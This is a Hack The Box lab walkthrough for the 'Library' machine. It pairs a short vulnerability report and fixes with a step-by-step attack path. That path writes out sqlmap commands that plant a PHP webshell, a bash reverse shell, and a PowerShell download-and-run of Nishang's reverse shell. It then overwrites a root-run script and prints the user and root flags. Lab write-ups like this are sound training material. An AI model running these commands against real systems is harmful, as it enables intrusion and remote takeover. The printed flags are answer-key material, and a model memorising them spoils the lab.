HacktheBox Write up — Library

13xch
10 min readFeb 15, 2024

HTB Walkthrough at Bottom

Key Takeaways

A relatively simple machine to own, the attacking party took advantage of a misconfigured SQL query using a tool (sqlmap) and modified it to place files on the machine through an injection attack (See Ref 1.2).

Then, the attacking party modified a file ran as root every 5–10 minutes to spawn a shell, as the service permissions for this script were not properly configured, and the file was able to be edited by any user on the machine (See Ref 1.3).

Vulnerabilities

1.2 SQL Injection

Risk

This vulnerability entailed the ability of the attacking party to capture a request in the search function to the machine (on the webserver) and modify the search value being passed.

While manual injection was not achieved, the tool “sqlmap” found the query/database vulnerable to injection, which allowed the attackers to place a shell.php file that allowed for RCE, and therefore the ability to spawn a reverse shell back to the machine, granting an initial point of entry.

Recommendations

To protect against this, simple user input sanitization is required. Disallowing special characters, line breaks, and anything else that would not be needed to search for a title of a book or an author is advised, as this was utilized to input malicious commands. This article is a great guide on some of the industry best practices to guard against this kind of attack.

1.3 Modification of Script ran as Administrator

Risk

When looking to escalate privileges, there was a directory on the root level of the machine called “Scripts,” which held one file that when executed, moved all files from /orders to the administrator documents folder, as user root.

After looking at icacls, all users were able to modify this file, letting our authenticated user modify it to point to a reverse shell script previously put on the machine, spawning a shell as root user.

Recommendations

This is a simple fix, use icacl /grant to only allow modification of this file to specific users.

This can also be prevented by creating a service account to run this script, rather than user root.

Windows documentation has great resources on how to create users.

Attack Path

Enumeration

To begin, we ran an nmap scan on this box, as we typically do. This shows us what ports and services are available and running on this target machine. To make this easier, we used zenmap, a GUI for nmap.

From this output, we see a few different services running on the machine. We began with the port 80 service, starting our dirbuster scan and navigating to the page in our browser.

Port 80 Enumeration

At first glance, it appears to be a library inventory status software.

There were several user inputs that could be taken, including the search bar, as well as the order page:

We also took note of some of the technologies and frameworks that made up the technology stack of the website.

Poking around in the dirbuster results showed many forbidden pages:

The page source did not reveal anything of that much interest either.

Clicking “search” with an empty search field pulled up some of the books that were stored, though none of them were interactable.

The order page accepted our input of all “test” values.

To see what was being sent to the server, we opened a search request in Burp.

Burp Analysis

We entered “search value” as our search, and it is interesting to us that it was not URL encoded, and a space was left between the values.

To test the output, we sent this, and a blank array was returned.

We decided to send an empty search field to see what would be returned.

As expected, a populated array of every object in the source table was fetched.

Injection Attack

Since we assumed that whatever we entered was querying a table holding the books, we decided it could be possible to inject something malicious to output something else.

We took to the literal drawing board to come up with a search item to pass that would output something else:

In the above image, we came up with:

junk'; select * from users;

When we passed this, we got the following output:

This tipped us off to a bit of how the books were being pulled, with a getbooks.php.

Our next try was to pass a command, rather than a SQL query.

We tried a simple “whoami”

This did not work, and we were given the same error as before.

After trying to manually modify the packet for a while, we tried out the tool “sqlmap.”

To use this tool, we entered the following command:

sqlmap -u http://10.129.96.2/getbooks.php --data 'search=a' --file-read='/xampp/htdocs/getbooks.php'

We could specify the function to work off since we knew it from our Burp testing we performed “getbooks.php”

We set the –file-read flag to output the contents of this php script.

It looked like we successfully got the contents of this file, so we output it on our local machine:

Now we could analyze this and see what it was doing.

It appeared as though our attempts were not working because it was more complex of a query than we had assumed.

We could either try to craft a query here, or we could use the -file — read flag again on another file on the machine to save time, which it what we did.

Knowing that there was a /xampp/htdocs/ directory present, we checked for a config.php file.

Good news, we found the locally hosted database, as well as its username and password.

Since in our nmap scan we found a mysql service, we tried accessing it using this.

Unfortunately, we were unable to connect with our IP.

We had to go back to the sqlmap tool we were using to write a file, using the –file-write flag.

Obtaining RCE

To do this, we first had to create a PHP webshell command that we could write to the database (/orders, where the books were being stored and then queried from).

To do this, we created shell.php file on our local machine holding:

Then, we ran the following command to ensure the file placement:

sqlmap -u http://10.129.96.2/getbooks.php — data ‘search=a’ — file-write=shell.php — file-dest=/xampp/htdocs/orders/shell.php

Now, we could try to curl this new shell.php file in orders:

curl -G http://10.129.96.2/orders/shell.php — data-urlencode “cmd=whoami” -o-

This was great news, as we had obtained RCE.

We could now place a reverse shell php script on the machine, similar to how we placed the shell.php, and then execute it with our RCE.

To do this, we placed the following command in a new file “revshell.php” on our local machine:

bash -c ‘bash -i >& /dev/tcp/10.10.14.8/4444 0>&1’

We then ran a similar command as before to place the file in /orders.

sqlmap -u http://10.129.96.2/getbooks.php — data ‘search=a’ — file-write=revshell.php — file-dest=/xampp/htdocs/orders/revshell.php

Now, we could start our netcat listener and execute the file.

When we tried, this, it seemed as though our file had been deleted, and we could not access either file.

We ran the command to place the shell.php again, and then checked that it was there again.

We also checked to see what files were present, and our revshell.php was there as well.

So, again we tried to execute the revshell.php script:

curl -G http://10.129.96.2/orders/shell.php — data-urlencode “cmd=revshell.php” -o-

While the terminal did show signs of connection, our netcat listener did not receive any communications.

We also had to put shell.php back on after this, and then verified it again:

It seemed as though something was deleting the files we placed.

We tried using “wget” on the file hosted off our local machine, rather than the sqlmap tactic we’d been using.

We stood up an http server and used the following command on our RCE tactic:

curl -G http://10.129.96.2/orders/shell.php — data-urlencode “cmd=wget http://10.10.14.8:80/revshell.php" -o revshell.php

However, when we check our http server:

No communications were received.

Since we couldn’t seem to execute our revshell.php, we had to go back a step.

We had to look at Nishang’s powershell reverse shell script, and place it on the machine.

We first grabbed it on our local machine:

wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

Next, we had to append a command at the bottom that would execute the shell with our IP and listening port:

echo “Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.8 -Port 4444” >> Invoke-PowerShellTcp.ps1

Now, we could stand up another HTTP server here and grab it.

Now, we could simply use our RCE to grab it, which would in turn, execute it, spawning a shell on our netcat listener:

curl -G http://10.129.96.2/orders/shell.php — data-urlencode “cmd=powershell iex(iwr http://10.10.14.8/Invoke-PowerShellTcp.ps1 -useb)”

Shell as web

Now that we had a shell as user “web,” we could poke around.

User flag: b7d90cdff2a7e194336ed8dfbd6e1612

Our next goal was to place WinPeas on the machine and execute it, which would show us some possible vectors of attack to escalate our privileges. It seemed as though this might be a direct hop to root, as there were no other users with home directories other than administrator.

Before this, we ran netstat to see what was running on the machine, but they were all from our IP.

Note: Our connection timed out a few times, so we had to place shell.php back on the machine in /orders, and then execute the powershell command again to grab the Nishang reverse shell file.

We also ran whoami /priv, an equivalent of sudo -l, to see what we could run:

After trying different things for a long time, we were forced to manually check for privilege escalation vectors.

Back on the root directory, we noticed something that is not typically there, a directory “scripts.”

In this was one file, “store.ps1”

This is what was clearing the files we were putting in /orders.

It seemed as though everything put into /orders would be moved to administrator documents over time for review.

We could not directly access this directory, as it was protected, being in the administrator directory.

Our goal here was to see if we could edit this script, modifying it to include a reverse shell, which would get executed as root and call back to our local machine.

To do this, we would first start a netcat listener on a new port (1234), and run a similar command as we did before to modify the script:

echo “iex(iwr http://10.10.14.8/Invoke-PowerShellTcp.ps1 -useb) | iex” > store.ps1

Now we had to wait for the script to run again, as it seemed as though from before it was on a regularly timed interval.

When it didn’t spawn a shell, the command was entered again on the existing shell, this time not specifying a port, and then the existing shell was closed and restarted:

After a while, the listener was hit, and spawned a shell as root user.

Root flag: d391de6e498003a18e04777771ae0f27

Keywords

Ethical hacking case study, Penetration testing findings, HTB box analysis, Vulnerability assessment report, HTB answers, Cybersecurity testing insights, Hack The Box report, Penetration tester’s analysis, HTB challenge resolution, Ethical hacking techniques, Security assessment report, Hacker’s perspective on HTB, Network penetration testing, Exploitation and remediation, Hack The Box success story, Ethical hacking best practices, Vulnerability identification, Real-world hacking scenario, Penetration testing case study, Practical hacking lessons, htb library, htb included

--

--

13xch

Cybersecurity student and tech enthusiast. Exploring the intersection of technology and business.🌐🔐